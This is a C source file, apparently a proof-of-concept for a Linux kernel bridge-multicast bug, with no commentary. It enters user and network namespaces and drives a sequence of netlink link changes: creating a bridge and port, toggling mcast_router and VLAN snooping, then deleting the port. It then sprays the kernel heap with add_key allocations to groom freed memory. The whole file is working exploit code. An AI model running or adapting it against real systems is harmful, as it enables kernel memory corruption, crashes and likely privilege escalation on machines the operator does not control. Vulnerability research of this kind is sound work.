#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if.h>
#include <linux/if_link.h>
#include <linux/if_bridge.h>
#include <errno.h>
#include <time.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>

#undef IFLA_BR_MULTI_BOOLOPT
#define IFLA_BR_MULTI_BOOLOPT 46

#ifndef BR_BOOLOPT_MCAST_VLAN_SNOOPING
#define BR_BOOLOPT_MCAST_VLAN_SNOOPING 1
#endif

#ifndef NLA_F_NESTED
#define NLA_F_NESTED (1 << 15)
#endif

#define SPRAY_NUM 19

extern unsigned int if_nametoindex(const char *__ifname);

struct iplink_req {
    struct nlmsghdr     n;
    struct ifinfomsg    i;
    char                buf[2048];
};

#define NLMSG_TAIL(nmsg) \
    ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) {
    int len = RTA_LENGTH(alen);
    struct rtattr *rta;
    if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return -1;
    rta = NLMSG_TAIL(n);
    rta->rta_type = type;
    rta->rta_len = len;
    if (data) memcpy(RTA_DATA(rta), data, alen);
    n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
    return 0;
}

struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) {
    struct rtattr *nest = NLMSG_TAIL(n);
    addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0);
    return nest;
}

int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) {
    nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
    return n->nlmsg_len;
}

int build_stack_argv(char **def, char *buf, int buflen, char **argv) {
    int i = 0;
    char *p = buf;
    while (def[i] != NULL && i < 15) {
        int len = strlen(def[i]) + 1;
        if ((p - buf) + len > buflen) break;
        memcpy(p, def[i], len);
        argv[i] = p;
        p += len;
        i++;
    }
    argv[i] = NULL;
    return i;
}

int iplink_parse(int argc, char **argv, struct iplink_req *req) {
    struct rtattr *linkinfo = NULL;
    struct rtattr *data = NULL;
    int is_slave = 0;

    for (int i = 0; i < argc; i++) {
        if (strcmp(argv[i], "name") == 0 || strcmp(argv[i], "dev") == 0) {
            char *name = argv[++i];
            addattr_l(&req->n, sizeof(*req), IFLA_IFNAME, name, strlen(name) + 1);
            unsigned int idx = if_nametoindex(name);
            if (idx > 0) req->i.ifi_index = idx;
        } else if (strcmp(argv[i], "up") == 0) {
            req->i.ifi_change |= IFF_UP;
            req->i.ifi_flags |= IFF_UP;
        } else if (strcmp(argv[i], "master") == 0) {
            unsigned int ifindex = if_nametoindex(argv[++i]);
            if (ifindex) addattr_l(&req->n, sizeof(*req), IFLA_MASTER, &ifindex, 4);
        } else if (strcmp(argv[i], "type") == 0) {
            char *type = argv[++i];
            if (strcmp(type, "bridge_slave") == 0) {
                is_slave = 1;
                type = "bridge"; 
            }
            linkinfo = addattr_nest(&req->n, sizeof(*req), IFLA_LINKINFO);
            addattr_l(&req->n, sizeof(*req), IFLA_INFO_KIND, type, strlen(type));
            data = addattr_nest(&req->n, sizeof(*req), is_slave ? IFLA_INFO_SLAVE_DATA : IFLA_INFO_DATA);
        } else if (strcmp(argv[i], "vlan_filtering") == 0) {
            __u8 val = atoi(argv[++i]);
            addattr_l(&req->n, sizeof(*req), IFLA_BR_VLAN_FILTERING, &val, 1);
        } else if (strcmp(argv[i], "mcast_snooping") == 0) {
            __u8 val = atoi(argv[++i]);
            addattr_l(&req->n, sizeof(*req), IFLA_BR_MCAST_SNOOPING, &val, 1);
        } else if (strcmp(argv[i], "mcast_vlan_snooping") == 0) {
            __u8 val = atoi(argv[++i]);
            struct br_boolopt_multi bm;
            memset(&bm, 0, sizeof(bm));
            bm.optmask = (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING);
            bm.optval = val ? (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING) : 0;
            addattr_l(&req->n, sizeof(*req), IFLA_BR_MULTI_BOOLOPT, &bm, sizeof(bm));
        } else if (strcmp(argv[i], "mcast_router") == 0) {
            __u8 val = atoi(argv[++i]);
            addattr_l(&req->n, sizeof(*req), IFLA_BRPORT_MULTICAST_ROUTER, &val, 1);
        }
    }
    if (data) addattr_nest_end(&req->n, data);
    if (linkinfo) addattr_nest_end(&req->n, linkinfo);
    return 0;
}

int rtnl_talk(struct nlmsghdr *n) {
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (fd < 0) return -1;
    struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
    n->nlmsg_seq = (unsigned int)time(NULL);
    n->nlmsg_flags |= NLM_F_ACK;

    if (sendto(fd, n, n->nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) {
        close(fd); return -1;
    }

    char buf[4096];
    int status = recv(fd, buf, sizeof(buf), 0);
    if (status > 0) {
        struct nlmsghdr *h = (struct nlmsghdr *)buf;
        if (h->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
            if (err->error < 0) {
                close(fd); return -1;
            }
        }
    }
    close(fd);
    return 0;
}

int iplink_modify(int cmd, unsigned int flags, int argc, char **argv) {
    struct iplink_req req;
    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    req.n.nlmsg_flags = NLM_F_REQUEST | flags;
    req.n.nlmsg_type = cmd;
    req.i.ifi_family = AF_UNSPEC;
    
    iplink_parse(argc, argv, &req);
    return rtnl_talk(&req.n);
}

void ns_setup(){
    int fd;
    char buff[0x100];

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        exit(-1);
    }

    if (unshare(CLONE_NEWNET)) {
        exit(-1);
    }

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getuid());
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getgid());
    write(fd, buff, strlen(buff));
    close(fd);
}

void bind_core(int id){
    cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(id, &mask);
	sched_setaffinity(0, sizeof(mask), &mask);
}

int trigger_key_alloc(size_t target_size, int index) {
    if (target_size < 20) return -1;

    size_t desc_len = target_size - 1;
    char *description = malloc(target_size);
    if (!description) return -1;

    snprintf(description, target_size, "key-%06d", index);
    size_t current_len = strlen(description);
    if (current_len < desc_len) {
        memset(description + current_len, 0xff, desc_len - current_len);
    }
    description[desc_len] = '\0';

    long key_id = syscall(SYS_add_key, "user", description, "data", 4, KEY_SPEC_SESSION_KEYRING);

    free(description);
    return (int)key_id;
}

int main() {
    int ret;
    char buffer[512];
    char *argv[16];
    int argc;
    int pipefd[2];
    bind_core(0);
    ns_setup();

    char *cmd1[] = {"name", "br1", "up", "type", "bridge", "vlan_filtering", "1", "mcast_snooping", "1", NULL};
    argc = build_stack_argv(cmd1, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv);
    if (ret != 0) return -1;
    usleep(10000);

    char *cmd2[] = {"name", "dummy1", "up", "master", "br1", "type", "dummy", NULL};
    argc = build_stack_argv(cmd2, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv);
    if (ret != 0) return -1;
    usleep(10000);

    char *cmd3[] = {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL};
    argc = build_stack_argv(cmd3, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, 0, argc, argv);
    if (ret != 0) return -1;
    usleep(10000);

    char *cmd4[] = {"dev", "br1", "type", "bridge", "mcast_vlan_snooping", "1", NULL};
    argc = build_stack_argv(cmd4, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, 0, argc, argv);
    if (ret != 0) return -1;
    usleep(10000);

    char *cmd5[] = {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "0", NULL};
    argc = build_stack_argv(cmd5, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, 0, argc, argv);
    if (ret != 0) return -1;
    usleep(10000);

    char *cmd6[] = {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL};
    argc = build_stack_argv(cmd6, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, 0, argc, argv);
    if (ret != 0) return -1;
    usleep(10000);

    char *cmd7[] = {"dev", "dummy1", NULL};
    argc = build_stack_argv(cmd7, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_DELLINK, 0, argc, argv);
    if (ret != 0) return -1;
    usleep(20000);
    pipe(pipefd);
    for (size_t i = 0; i < SPRAY_NUM; i++)
    {
        ret=trigger_key_alloc(1024, i);
        if (ret < 0) {
            perror("[x]trigger_key_alloc failed");
            return -1;
        }
    }
    
    char *cmd8[] = {"name", "dummy2", "up", "master", "br1", "type", "dummy", NULL};
    argc = build_stack_argv(cmd8, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv);
    if (ret != 0) return -1;
    usleep(10000);

    char *cmd9[] = {"dev", "dummy2", "type", "bridge_slave", "mcast_router", "2", NULL};
    argc = build_stack_argv(cmd9, buffer, sizeof(buffer), argv);
    ret = iplink_modify(RTM_NEWLINK, 0, argc, argv);
    if (ret != 0) return -1;

    return 0;
}